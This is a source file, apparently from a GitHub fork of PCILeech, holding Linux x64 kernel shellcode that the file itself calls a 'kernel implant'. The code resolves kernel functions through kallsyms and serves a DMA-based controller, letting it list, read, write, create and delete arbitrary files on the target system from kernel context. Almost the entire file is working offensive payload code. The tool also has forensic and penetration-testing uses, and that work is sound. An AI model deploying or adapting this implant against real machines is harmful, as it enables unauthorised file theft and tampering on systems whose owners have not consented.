forked from ufrisk/pcileech
-
Notifications
You must be signed in to change notification settings - Fork 0
/
lx64_vfs.c
426 lines (398 loc) · 14 KB
/
lx64_vfs.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
// lx64_vfs.c : kernel code to support the PCILeech file system.
// Compatible with Linux x64.
//
// (c) Ulf Frisk, 2017-2021
// Author: Ulf Frisk, pcileech@frizk.net
//
// compile with:
// cl.exe /O1 /Os /Oy /FD /MT /GS- /J /GR- /FAcs /W4 /Zl /c /TC /kernel lx64_common.c
// cl.exe /O1 /Os /Oy /FD /MT /GS- /J /GR- /FAcs /W4 /Zl /c /TC /kernel lx64_vfs.c
// ml64 lx64_common_a.asm /Felx64_vfs.exe /link /NODEFAULTLIB /RELEASE /MACHINE:X64 /entry:main lx64_vfs.obj lx64_common.obj
// shellcode64.exe -o lx64_vfs.exe
//
#include "lx64_common.h"
//-----------------------------------------------------------------------------
// Core defines and typedefs shared between kernel implants and pcileech.
//-----------------------------------------------------------------------------
#define VFS_OP_MAGIC 0x79e720ad93aa130f
#define VFS_OP_CMD_LIST_DIRECTORY 1
#define VFS_OP_CMD_WRITE 2
#define VFS_OP_CMD_READ 3
#define VFS_OP_CMD_CREATE 4
#define VFS_OP_CMD_DELETE 5
#define VFS_FLAGS_FILE_NORMAL 0x01
#define VFS_FLAGS_FILE_DIRECTORY 0x02
#define VFS_FLAGS_FILE_SYMLINK 0x04
#define VFS_FLAGS_FILE_OTHER 0x08
#define VFS_FLAGS_UNICODE 0x10
#define VFS_FLAGS_EXIST_FILE 0x20
#define VFS_FLAGS_TRUNCATE_ON_WRITE 0x40
#define VFS_FLAGS_APPEND_ON_WRITE 0x80
typedef struct tdVFS_OPERATION {
QWORD magic;
QWORD op;
QWORD flags;
CHAR szFileName[MAX_PATH];
WCHAR wszFileName[MAX_PATH];
QWORD offset;
QWORD cb;
BYTE pb[];
} VFS_OPERATION, *PVFS_OPERATION;
typedef struct tdVFS_RESULT_FILEINFO {
QWORD flags;
QWORD tAccessOpt;
QWORD tModifyOpt;
QWORD tCreateOpt;
QWORD dbg1;
QWORD dbg2;
QWORD cb;
WCHAR wszFileName[MAX_PATH];
} VFS_RESULT_FILEINFO, *PVFS_RESULT_FILEINFO;
//-----------------------------------------------------------------------------
// Other required defines and typedefs.
//-----------------------------------------------------------------------------
#define O_RDONLY 00000000
#define O_WRONLY 00000001
#define O_CREAT 00000100
#define O_TRUNC 00001000
#define O_APPEND 00002000
#define O_DIRECTORY 00200000
#define O_NOATIME 01000000
#define DT_UNKNOWN 0
#define DT_FIFO 1
#define DT_CHR 2
#define DT_DIR 4
#define DT_BLK 6
#define DT_REG 8
#define DT_LNK 10
#define DT_SOCK 12
#define DT_WHT 14
#define AT_FDCWD -100
#define AT_NO_AUTOMOUNT 0x800
#define STATX_BASIC_STATS 0x000007ffU
struct timespec {
QWORD tv_sec; // seconds
QWORD tv_nsec; // nanoseconds
};
// kstat struct - kernels 4.10 and earlier.
struct kstat_4_10 {
QWORD ino;
DWORD dev;
DWORD mode;
DWORD nlink;
DWORD uid;
DWORD gid;
DWORD rdev;
QWORD size; // offset 0x20
struct timespec atime;
struct timespec mtime;
struct timespec ctime;
QWORD blksize;
QWORD blocks;
QWORD _pcileech_dummy_extra[2];
};
// kstat struct - kernels 4.11 and later.
struct kstat_4_11 {
DWORD result_mask;
DWORD mode;
DWORD nlink;
DWORD blksize;
QWORD attributes;
QWORD attributes_mask;
QWORD ino;
DWORD dev;
DWORD rdev;
DWORD uid;
DWORD gid;
QWORD size;
struct timespec atime;
struct timespec mtime;
struct timespec ctime;
struct timespec btime;
QWORD blocks;
QWORD _pcileech_dummy_extra[4];
};
//-----------------------------------------------------------------------------
// Functions below.
//-----------------------------------------------------------------------------
typedef struct tdFN2 {
QWORD memcpy;
QWORD memset;
QWORD filp_close;
QWORD filp_open;
QWORD vfs_read;
QWORD vfs_write;
QWORD yield;
QWORD iterate_dir_opt;
QWORD vfs_readdir_opt;
QWORD vfs_stat_opt;
QWORD vfs_statx_opt;
struct {
QWORD sys_unlink;
QWORD getname;
QWORD getname_kernel;
QWORD do_unlinkat;
} rm;
QWORD kern_path_opt;
QWORD path_put_opt;
QWORD vfs_getattr_nosec_opt;
QWORD kernel_read;
QWORD kernel_write;
} FN2, *PFN2;
typedef struct tdDIR_CONTEXT {
QWORD actor;
QWORD pos;
} DIR_CONTEXT;
typedef struct tdDIR_CONTEXT_EXTENDED {
DIR_CONTEXT ctx;
PKMDDATA pk;
PFN2 fn;
PVFS_OPERATION pop;
QWORD buf[];
} DIR_CONTEXT_EXTENDED, *PDIR_CONTEXT_EXTENDED;
BOOL LookupFunctions2(PKMDDATA pk, PFN2 pfn2) {
QWORD i = 0, NAMES[sizeof(FN2) / sizeof(QWORD)];
NAMES[i++] = (QWORD)(CHAR[]) { 'm', 'e', 'm', 'c', 'p', 'y', 0 };
NAMES[i++] = (QWORD)(CHAR[]) { 'm', 'e', 'm', 's', 'e', 't', 0 };
NAMES[i++] = (QWORD)(CHAR[]) { 'f', 'i', 'l', 'p', '_', 'c', 'l', 'o', 's', 'e', 0 };
NAMES[i++] = (QWORD)(CHAR[]) { 'f', 'i', 'l', 'p', '_', 'o', 'p', 'e', 'n', 0 };
NAMES[i++] = (QWORD)(CHAR[]) { 'v', 'f', 's', '_', 'r', 'e', 'a', 'd', 0 };
NAMES[i++] = (QWORD)(CHAR[]) { 'v', 'f', 's', '_', 'w', 'r', 'i', 't', 'e', 0 };
NAMES[i++] = (QWORD)(CHAR[]) { 'y', 'i', 'e', 'l', 'd', 0 };
if(!LookupFunctions(pk->AddrKallsymsLookupName, (QWORD)NAMES, (QWORD)pfn2, i)) { return FALSE; }
// optional lookup 1#: (due to kernel version differences)
pfn2->iterate_dir_opt = LOOKUP_FUNCTION(pk, ((CHAR[]) { 'i', 't', 'e', 'r', 'a', 't', 'e', '_', 'd', 'i', 'r', 0 }));
pfn2->vfs_readdir_opt = LOOKUP_FUNCTION(pk, ((CHAR[]) { 'v', 'f', 's', '_', 'r', 'e', 'a', 'd', 'd', 'i', 'r', 0 }));
if(!pfn2->iterate_dir_opt && !pfn2->vfs_readdir_opt) { return FALSE; }
// optional lookup 2#:
pfn2->vfs_stat_opt = LOOKUP_FUNCTION(pk, ((CHAR[]) { 'v', 'f', 's', '_', 's', 't', 'a', 't', 0 }));
pfn2->vfs_statx_opt = LOOKUP_FUNCTION(pk, ((CHAR[]) { 'v', 'f', 's', '_', 's', 't', 'a', 't', 'x', 0 }));
if(!pfn2->vfs_stat_opt && !pfn2->vfs_statx_opt) { return FALSE; }
pfn2->kern_path_opt = LOOKUP_FUNCTION(pk, ((CHAR[]) { 'k', 'e', 'r', 'n', '_', 'p', 'a', 't', 'h', 0 }));
pfn2->path_put_opt = LOOKUP_FUNCTION(pk, ((CHAR[]) { 'p', 'a', 't', 'h', '_', 'p', 'u', 't', 0 }));
pfn2->vfs_getattr_nosec_opt = LOOKUP_FUNCTION(pk, ((CHAR[]) { 'v', 'f', 's', '_', 'g', 'e', 't', 'a', 't', 't', 'r', '_', 'n', 'o', 's', 'e', 'c', 0 }));
// optional lookup #3
pfn2->rm.sys_unlink = LOOKUP_FUNCTION(pk, ((CHAR[]) { 'v', 'f', 's', '_', 's', 't', 'a', 't', 0 }));
pfn2->rm.getname = LOOKUP_FUNCTION(pk, ((CHAR[]) { 'g', 'e', 't', 'n', 'a', 'm', 'e', 0 }));
pfn2->rm.getname_kernel = LOOKUP_FUNCTION(pk, ((CHAR[]) { 'g', 'e', 't', 'n', 'a', 'm', 'e', '_', 'k', 'e', 'r', 'n', 'e', 'l', 0 }));
pfn2->rm.do_unlinkat = LOOKUP_FUNCTION(pk, ((CHAR[]) { 'd', 'o', '_', 'u', 'n', 'l', 'i', 'n', 'k', 'a', 't', 0 }));
if(!pfn2->rm.sys_unlink && !(pfn2->rm.getname && pfn2->rm.do_unlinkat)) { return FALSE; }
// optional kernel vfs read/write #4:
pfn2->kernel_read = LOOKUP_FUNCTION(pk, ((CHAR[]) { 'k', 'e', 'r', 'n', 'e', 'l', '_', 'r', 'e', 'a', 'd', 0 }));
pfn2->kernel_write = LOOKUP_FUNCTION(pk, ((CHAR[]) { 'k', 'e', 'r', 'n', 'e', 'l', '_', 'w', 'r', 'i', 't', 'e', 0 }));
return TRUE;
}
static int VfsList_CallbackIterateDir(PDIR_CONTEXT_EXTENDED ctx, const char *name, int len, unsigned __int64 pos, unsigned __int64 ino, unsigned int d_type)
{
UNREFERENCED_PARAMETER(ino);
UNREFERENCED_PARAMETER(pos);
QWORD i;
PVFS_RESULT_FILEINFO pfi;
// note: function signature of filldir_t signature changed from returning int
// to returning bool in kernel 6.1. set_memory_rox was added in kernel 6.2 -
// since this is close enough use it. For kernel 6.2 iterate will fail after
// first item, but it's a small enough issue to ignore for now.
int retval = ctx->pk->fnlx.set_memory_rox ? 1 : 0;
if(ctx->pk->dataOutExtraLength + sizeof(VFS_RESULT_FILEINFO) > ctx->pk->dataOutExtraLengthMax) {
return retval;
}
pfi = (PVFS_RESULT_FILEINFO)(ctx->pk->DMAAddrVirtual + ctx->pk->dataOutExtraOffset + ctx->pk->dataOutExtraLength);
switch(d_type) {
case DT_REG:
pfi->flags = VFS_FLAGS_FILE_NORMAL;
break;
case DT_DIR:
pfi->flags = VFS_FLAGS_FILE_DIRECTORY;
break;
case DT_LNK:
pfi->flags = VFS_FLAGS_FILE_SYMLINK;
break;
default:
pfi->flags = VFS_FLAGS_FILE_OTHER;
break;
}
for(i = 0; (i < len) && (i < MAX_PATH - 1); i++) {
pfi->wszFileName[i] = name[i];
}
pfi->wszFileName[i] = 0;
ctx->pk->dataOutExtraLength += sizeof(VFS_RESULT_FILEINFO);
return retval;
}
QWORD UnixToWindowsFiletime(QWORD tv) {
QWORD result = 11644473600ULL; // EPOCH DIFF
result += tv;
result *= 10000000ULL;
return result;
}
VOID VfsList_SetSizeTime(PKMDDATA pk, PFN2 pfn2, PVFS_OPERATION pop)
{
QWORD i, o, p, cfi, result;
BYTE path[0x800];
CHAR sz[2 * MAX_PATH];
struct kstat_4_10 kstat_4_10;
struct kstat_4_11 kstat_4_11;
PVFS_RESULT_FILEINFO pfi;
cfi = pk->dataOutExtraLength / sizeof(VFS_RESULT_FILEINFO);
for(o = 0; o < MAX_PATH; o++) {
if(0 == pop->szFileName[o]) { break; }
sz[o] = pop->szFileName[o];
}
if(o && (sz[o - 1] != '/')) {
sz[o] = '/';
o++;
}
pk->dataOut[2] = cfi;
for(p = 0; p < cfi; p++) {
pfi = (PVFS_RESULT_FILEINFO)(pk->DMAAddrVirtual + pk->dataOutExtraOffset + p * sizeof(VFS_RESULT_FILEINFO));
// set filename
for(i = 0; i < MAX_PATH; i++) {
if(0 == pfi->wszFileName[i]) { break; }
sz[o + i] = (CHAR)pfi->wszFileName[i];
}
sz[o + i] = 0;
if(pfn2->vfs_statx_opt) { // 4.11 kernels and later.
result = 1;
// 5.12 kernels and later will fail vfs_statx - use alternative method first:
if(pfn2->kern_path_opt && pfn2->vfs_getattr_nosec_opt) {
result = SysVCall(pfn2->kern_path_opt, sz, AT_NO_AUTOMOUNT, path);
if(0 == result) {
result = SysVCall(pfn2->vfs_getattr_nosec_opt, path, &kstat_4_11, STATX_BASIC_STATS, 0);
if(pfn2->path_put_opt) { SysVCall(pfn2->path_put_opt, path); }
}
} else {
// This will fail on kernel 5.18 and later due to signature change of vfs_statx
result = SysVCall(pfn2->vfs_statx_opt, AT_FDCWD, sz, AT_NO_AUTOMOUNT, &kstat_4_11, STATX_BASIC_STATS);
}
if(0 == result) {
pfi->cb = kstat_4_11.size;
pfi->tAccessOpt = UnixToWindowsFiletime(kstat_4_11.atime.tv_sec);
pfi->tCreateOpt = UnixToWindowsFiletime(kstat_4_11.ctime.tv_sec);
pfi->tModifyOpt = UnixToWindowsFiletime(kstat_4_11.mtime.tv_sec);
}
} else if(pfn2->vfs_stat_opt) { // 4.10 kernels and earlier.
result = SysVCall(pfn2->vfs_stat_opt, sz, &kstat_4_10);
if(0 == result) {
pfi->cb = kstat_4_10.size;
pfi->tAccessOpt = UnixToWindowsFiletime(kstat_4_10.atime.tv_sec);
pfi->tCreateOpt = UnixToWindowsFiletime(kstat_4_10.ctime.tv_sec);
pfi->tModifyOpt = UnixToWindowsFiletime(kstat_4_10.mtime.tv_sec);
}
}
if(0 == (p % 50)) { SysVCall(pfn2->yield); } // yield at intervals to avoid problems...
}
}
STATUS VfsList(PKMDDATA pk, PFN2 pfn2, PVFS_OPERATION pop)
{
DIR_CONTEXT_EXTENDED dce;
QWORD hFile;
hFile = SysVCall(pfn2->filp_open, pop->szFileName, O_RDONLY | O_DIRECTORY | O_NOATIME, 0);
if(hFile > 0xffffffff00000000) {
return STATUS_FAIL_FILE_CANNOT_OPEN;
}
WinCallSetFunction((QWORD)VfsList_CallbackIterateDir);
dce.ctx.actor = (QWORD)WinCall;
dce.ctx.pos = 0;
dce.fn = pfn2;
dce.pk = pk;
dce.pop = pop;
if(pfn2->iterate_dir_opt) {
// use iterate_dir (kernel >= 3.11)
pk->dataOut[1] = SysVCall(pfn2->iterate_dir_opt, hFile, &dce);
} else if(pfn2->vfs_readdir_opt) {
// use vfs_readdir (kernel <= 3.10)
pk->dataOut[1] = SysVCall(pfn2->vfs_readdir_opt, hFile, WinCall, &dce);
}
SysVCall(pfn2->filp_close, hFile, NULL);
SysVCall(pfn2->yield);
VfsList_SetSizeTime(pk, pfn2, pop);
return STATUS_SUCCESS;
}
STATUS VfsDelete(PKMDDATA pk, PFN2 pfn2, PVFS_OPERATION pop)
{
UNREFERENCED_PARAMETER(pk);
QWORD ptr, result = 1;
if(pfn2->rm.sys_unlink) {
result = SysVCall(pfn2->rm.sys_unlink, pop->szFileName);
} else if(pfn2->rm.getname_kernel && pfn2->rm.do_unlinkat) {
ptr = SysVCall(pfn2->rm.getname_kernel, pop->szFileName);
result = SysVCall(pfn2->rm.do_unlinkat, AT_FDCWD, ptr);
} else if(pfn2->rm.getname && pfn2->rm.do_unlinkat) {
ptr = SysVCall(pfn2->rm.getname, pop->szFileName);
result = SysVCall(pfn2->rm.do_unlinkat, AT_FDCWD, ptr);
}
return result ? STATUS_FAIL_ACTION : STATUS_SUCCESS;
}
STATUS VfsRead(PKMDDATA pk, PFN2 pfn2, PVFS_OPERATION pop)
{
QWORD hFile;
hFile = SysVCall(pfn2->filp_open, pop->szFileName, O_RDONLY | O_NOATIME, 0);
if(hFile > 0xffffffff00000000) {
return STATUS_FAIL_FILE_CANNOT_OPEN;
}
pk->dataOutExtraLength = SysVCall((pfn2->kernel_read ? pfn2->kernel_read : pfn2->vfs_read), hFile, pk->DMAAddrVirtual + pk->dataOutExtraOffset, pk->dataOutExtraLengthMax, &pop->offset);
SysVCall(pfn2->filp_close, hFile, NULL);
return (pk->dataOutExtraLength <= pk->dataOutExtraLengthMax) ? STATUS_SUCCESS : STATUS_FAIL_ACTION;
}
STATUS VfsWrite(PKMDDATA pk, PFN2 pfn2, PVFS_OPERATION pop)
{
UNREFERENCED_PARAMETER(pk);
QWORD hFile, flags = 0, result;
flags |= O_WRONLY | O_NOATIME;
flags |= (pop->flags & VFS_FLAGS_TRUNCATE_ON_WRITE) ? O_TRUNC : 0;
flags |= (pop->flags & VFS_FLAGS_APPEND_ON_WRITE) ? O_APPEND : 0;
hFile = SysVCall(pfn2->filp_open, pop->szFileName, flags, 0);
if(hFile > 0xffffffff00000000) {
return STATUS_FAIL_FILE_CANNOT_OPEN;
}
result = SysVCall((pfn2->kernel_write ? pfn2->kernel_write : pfn2->vfs_write), hFile, pop->pb, pop->cb, &pop->offset);
SysVCall(pfn2->filp_close, hFile, NULL);
return result ? STATUS_FAIL_ACTION : STATUS_SUCCESS;
}
STATUS VfsCreate(PKMDDATA pk, PFN2 pfn2, PVFS_OPERATION pop)
{
UNREFERENCED_PARAMETER(pk);
QWORD hFile;
hFile = SysVCall(pfn2->filp_open, pop->szFileName, O_CREAT | O_WRONLY | O_TRUNC, 0x1ff /*-rwxrwxrwx*/);
if(hFile > 0xffffffff00000000) {
return STATUS_FAIL_FILE_CANNOT_OPEN;
}
SysVCall(pfn2->filp_close, hFile, NULL);
return STATUS_SUCCESS;
}
VOID c_EntryPoint(PKMDDATA pk)
{
PVFS_OPERATION pop;
FN2 fn2;
// initialize kernel functions
if(!LookupFunctions2(pk, &fn2)) {
pk->dataOut[0] = STATUS_FAIL_FUNCTION_LOOKUP;
return;
}
// setup references to in/out data and check validity
pop = (PVFS_OPERATION)(pk->DMAAddrVirtual + pk->dataInExtraOffset);
if((pk->dataInExtraLength < sizeof(VFS_OPERATION)) || (pop->magic != VFS_OP_MAGIC) || (pop->flags & VFS_FLAGS_UNICODE)) {
pk->dataOut[0] = STATUS_FAIL_SIGNATURE_NOT_FOUND;
return;
}
// take action
if(pop->op == VFS_OP_CMD_LIST_DIRECTORY) {
pk->dataOut[0] = VfsList(pk, &fn2, pop);
return;
}
if(pop->op == VFS_OP_CMD_READ) {
pk->dataOut[0] = VfsRead(pk, &fn2, pop);
return;
}
if(pop->op == VFS_OP_CMD_WRITE) {
pk->dataOut[0] = VfsWrite(pk, &fn2, pop);
return;
}
if(pop->op == VFS_OP_CMD_CREATE) {
pk->dataOut[0] = VfsCreate(pk, &fn2, pop);
return;
}
if(pop->op == VFS_OP_CMD_DELETE) {
pk->dataOut[0] = VfsDelete(pk, &fn2, pop);
return;
}
}